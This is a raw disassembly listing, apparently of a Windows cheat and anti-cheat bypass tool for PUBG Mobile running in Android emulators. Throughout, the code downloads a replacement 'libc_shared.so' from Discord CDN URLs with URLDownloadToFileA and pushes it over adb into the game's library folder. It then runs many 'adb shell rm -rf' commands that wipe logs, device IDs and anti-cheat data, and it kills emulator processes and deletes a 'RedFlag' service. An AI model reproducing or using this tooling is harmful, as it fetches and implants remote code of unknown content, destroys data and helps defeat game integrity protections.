cmp dword [0x140901ed0], 0xffffffff
jne 0x1400565a9
movups xmm0, xmmword [0x140901f78]
lea rcx, [0x140901ed0]
movups xmmword [0x140901dc8], xmm0
call fcn.1400bd1a8
lea rdx, [0x140901dc8]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140009770
lea rdx, [0x140901dc8]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140009770
lea rdx, [0x140901dc8]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140009770
mov edx, 0xff00ff00
call fcn.1400096b0
lea rcx, [rbp + 0x268]
mov dword [rbp + 0x268], 0x43b40000
mov dword [rbp + 0x26c], 0x41200000
call fcn.140017340
mov rdx, qword [0x140901e90]
lea rcx, [0x140145c58]
call fcn.14004d660
mov ecx, 3
mov r10d, eax
call fcn.1400097d0
cmp r10d, 2
jne 0x14005670f
lea rcx, [rbp + 0x270]
mov dword [rbp + 0x270], 0x43b40000
mov dword [rbp + 0x274], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x870]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x880]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b63b0]
lea r9, [rbp + 0x278]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x288]
mov dword [rbp + 0x278], 0x3f800000
mov dword [rbp + 0x27c], 0x3f800000
mov qword [rbp + 0x280], 0
mov dword [rbp + 0x288], 0x42dc0000
mov dword [rbp + 0x28c], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
lea rdx, str.Vietnam
lea rcx, [0x1408b51f8]
call fcn.1400589e0
mov dword [0x1408b6360], r15d
jmp 0x14005688d
cmp r10d, r15d
jne 0x1400567d3
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x290], 0x43b40000
mov dword [rbp + 0x294], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x860]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x850]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b63b0]
lea r9, [rbp + 0x298]
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x2a8]
mov dword [rbp + 0x298], 0x3f800000
mov dword [rbp + 0x29c], 0x3f800000
mov qword [rbp + 0x2a0], 0
mov dword [rbp + 0x2a8], 0x42dc0000
mov dword [rbp + 0x2ac], 0x43230000
jmp 0x140056883
test r10d, r10d
jne 0x14005688d
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0x2b0], 0x43b40000
mov dword [rbp + 0x2b4], 0x41200000
call fcn.140017340
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm15
movaps xmm2, xmm15
lea rcx, [rbp + 0x840]
movaps xmm1, xmm15
call fcn.140007170
movss xmm1, dword [0x140145ddc]
lea rcx, [rbp + 0x830]
movaps xmm3, xmm1
movss dword [rsp + 0x20], xmm1
movaps xmm2, xmm1
mov rdx, rax
call fcn.140007170
mov rcx, qword [0x1408b6370]
lea r9, [rbp + 0x2b8]
mov qword [rsp + 0x28], rdx
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x30]
mov dword [rbp + 0x2b8], 0x3f800000
mov dword [rbp + 0x2bc], 0x3f800000
mov qword [rbp - 0x38], 0
mov dword [rbp - 0x30], 0x42dc0000
mov dword [rbp - 0x2c], 0x43230000
mov qword [rsp + 0x20], rax
call fcn.14003d8c0
mov ecx, r15d
call fcn.1400097d0
mov ecx, r15d
call fcn.1400097d0
mov ecx, r15d
call fcn.1400097d0
call fcn.1400107d0
lea rcx, [rbp - 0x28]
mov dword [rbp - 0x28], 0x40a00000
mov dword [rbp - 0x24], 0x43af0000
call fcn.140017340
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x43960000
lea rcx, [0x140145c68]
mov dword [rbp - 0x1c], 0x42dc0000
call fcn.140010740
movaps xmm0, xmm7
call fcn.140017410
lea rcx, str.IPAD_VIEW
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [0x1408ffe9e]
lea rcx, str.IPAD_VIEW
call fcn.14004d760
cmp byte [0x1408ffe9e], 0
je 0x140056971
movss xmm3, dword [0x140145ee8]
movss xmm2, dword [0x140145ddc]
call fcn.14003fa20
test al, al
je 0x140056971
mov ecx, 4
call fcn.1400bd99c
mov r9d, 4
mov r8, rax
mov edx, 0x5c60dbe4
mov word [rax], 0
cvttss2si ecx, dword [0x1407b2848]
mov byte [rax + 3], 0x43
mov byte [rax + 2], cl
mov rcx, qword [0x1408b6338]
call fcn.14005b8d0
lea rcx, str.Internal_Hax
call fcn.14003b840
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
lea rdx, [0x1408ffe9d]
lea rcx, str.Internal_Hax
call fcn.14004d760
movss xmm1, dword [0x140145f40]
movaps xmm0, xmm15
call fcn.140017290
call fcn.1400107d0
call fcn.1400107d0
call fcn.140047590
xor r15d, r15d
call fcn.1400164f0
call fcn.14000f1d0
mov rcx, qword [0x1408b6320]
mov r9d, 3
movss xmm0, dword [0x140145ddc]
xor r8d, r8d
mov dword [rsp + 0x30], r15d
xor edx, edx
movss dword [rsp + 0x28], xmm0
mov rax, qword [rcx]
mov dword [rsp + 0x20], r15d
call qword [rax + 0x158]
mov rcx, qword [0x1408b6320]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140056a37
call fcn.14000f750
call fcn.14000b810
mov rcx, rax
call fcn.1400387b0
mov rcx, qword [0x1408b6320]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x2e0]
test dword [rax + 8], 0x400
je 0x140056a51
call fcn.14001f3d0
call fcn.14001f7e0
mov rcx, qword [0x1408b6320]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140056a8e
mov rcx, qword [0x1408b6320]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140056a8e
call fcn.14004c650
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140056b9a
movss xmm6, dword [0x140145d98]
cmp dword [rbp + 0xa48], 0x12
jne 0x140052020
jmp 0x140056ba4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Exiting_Safe...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rdx, str.TaskKill__f__im_adb.exe
lea rcx, [rbp + 0x2c0]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rdx, str.TaskKill__f__im_AndroidEmulator.exe
lea rcx, [rbp + 0x8b0]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rdx, str.TaskKill__f__im_AndroidEmulatorEn.exe
lea rcx, [rbp + 0x890]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rdx, str.TaskKill__f__im_AndroidEmulatorEx.exe
lea rcx, [rbp + 0x460]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rdx, str.sc_stop_RedFlag__sc_delete_RedFlag
lea rcx, [rbp + 0x430]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
mov ecx, Ordinal_46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov dword [rbp + 0xa48], reloc.WS2_32.dll_select
call fcn.140038d90
call fcn.140039780
call fcn.14000b7a0
call fcn.14004c600
mov rcx, qword [0x1408b6368]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x908]
mov rcx, qword [rbp + 0x930]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [rbp + 0xa10]
call fcn.140058a00
movaps xmm14, xmmword [rsp + 0x1160]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x1170]
movaps xmm12, xmmword [rsp + 0x1180]
movaps xmm11, xmmword [rsp + 0x1190]
movaps xmm10, xmmword [rsp + 0x11a0]
movaps xmm9, xmmword [rsp + 0x11b0]
movaps xmm8, xmmword [rsp + 0x11c0]
movaps xmm7, xmmword [rsp + 0x11d0]
movaps xmm6, xmmword [rsp + 0x11e0]
mov r14, qword [rsp + 0x11f0]
mov rsi, qword [rsp + 0x1228]
movaps xmm15, xmmword [rsp + 0x1150]
mov rdi, qword [rsp + 0x1230]
mov r12, qword [rsp + 0x11f8]
mov rbx, qword [rsp + 0x1220]
mov rcx, qword [rbp + 0x1040]
xor rcx, rsp
call fcn.1400bd060
add rsp, 0x1200
pop r15
pop r13
pop rbp
ret
mov rcx, qword [0x1408b6350]
mov rdx, qword [0x1408b6320]
test rdx, rdx
je 0x140056cad
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x1408b6350]
mov qword [0x1408b6320], r15
test rcx, rcx
je 0x140056cbf
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x1408b6350], r15
mov rdx, qword [rbp + 0x908]
mov rcx, qword [rbp + 0x930]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rdx, qword [rbp + 0xa28]
cmp rdx, 0x10
jb 0x140056d17
mov rcx, qword [rbp + 0xa10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140056d12
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140056d12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5b8
mov eax, edi
jmp 0x140056c4f
call fcn.1400015a0
call fcn.1400015d0
lea rdx, str.Game_Starting...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rdx, str.C:Windowshookdrv.sys
lea rcx, [rbp + 0x2c0]
call fcn.140058af0
lea rcx, [rbp + 0x2c0]
call fcn.14004dba0
lea rcx, [rbp + 0x2c0]
movzx ebx, al
call fcn.140058a00
test bl, bl
jne 0x140056d8b
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, str.C:Windowshookdrv.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1115959630967885844_libc_shared.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.adb_kill_server
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_devices
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_am_force_stop_com.vng.pubgmobile
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.vng.pubgmobile_lib_libc_shared.so__data_data_com.vng.pubgmobile_lib_TempShared__adb_push_C:Windowshookdrv.sys__data_data_com.vng.pubgmobile_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.del_C:Windowshookdrv.sys
lea rcx, [rbp + 0x430]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_UpdateInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_TableDatas
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_conversation.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_GameErrorNoRecords
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_StatEventReportedFlag
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_ImageDownload
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_MMKV
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_rawdata
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Pandora
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferTmpDir
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_RoleInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mk_dir__data_data_com.vng.pubgmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_chmod__R_777__data_data_com.vng.pubgmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.vng.pubgmobile_shared_prefs_device_id3.xml_data_data_com.vng.pubgmobile_shared_prefs_device_id.xml
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_touch__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_code_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_bugly
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_crashrecord
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_webview
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_no_backup
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_cache
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140143060]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_.fff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_ca_bundle.pem
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_login_identifier.txt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_TGPA
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_app_textures
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_media_0_.backups_com.vng.pubgmobile
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_.zzz
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf_sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_code_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_shared_prefs_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_databases_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.vng.pubgmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_cache_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.vng.pubgmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_SaveGames_.json
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.adb_shell_am_start__n_com.vng.pubgmobile_com.epicgames.ue4.SplashActivity
lea rcx, [rbp + 0x460]
call fcn.140058af0
mov rcx, rax
call fcn.14004d4f0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Game_Bypassed_Successfully...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
call fcn.14004e9f0
int3
lea r8, [rbp + 0x970]
lea rdx, [rbp + 0x950]
call fcn.14004b740
int3
call fcn.14004a540
int3
call fcn.14004a540
int3
call fcn.14004a540
int3
call fcn.1400015a0
call fcn.1400015d0
lea rdx, str.Game_Starting...
lea rcx, [0x1408b51b8]
call fcn.1400589e0
lea rdx, str.C:Windowshookdrv.sys
lea rcx, [rbp + 0x2c0]
call fcn.140058af0
lea rcx, [rbp + 0x2c0]
call fcn.14004dba0
lea rcx, [rbp + 0x2c0]
movzx ebx, al
call fcn.140058a00
test bl, bl
jne 0x140057180
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea r8, str.C:Windowshookdrv.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1105184585278574732_1112179748966248508_libc_shared.so
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.adb_kill_server
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_devices
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_am_force_stop_com.pubg.krmobile
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mv__data_data_com.pubg.krmobile_lib_libc_shared.so__data_data_com.pubg.krmobile_lib_TempShared__adb_push_C:Windowshookdrv.sys__data_data_com.pubg.krmobile_lib_libc_shared.so
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.del_C:Windowshookdrv.sys
lea rcx, [rbp + 0x430]
call fcn.140058af0
mov rcx, rax
call fcn.14004dbe0
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Logs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_UpdateInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_TableDatas
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_conversation.ini
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_GameErrorNoRecords
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_StatEventReportedFlag
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_ImageDownload
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_MMKV
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_rawdata
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_Pandora
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferEifs0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_PufferTmpDir
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Saved_RoleInfo
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_databases
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_.system_android_l2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_Intermediate
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__sdcard_Android_data_com.pubg.krmobile_files_UE4Game_ShadowTrackerExtra_ShadowTrackerExtra_SaveGames
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_rm__rf__data_data_com.pubg.krmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.adb_shell_mk_dir__data_data_com.pubg.krmobile_shared_prefs
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
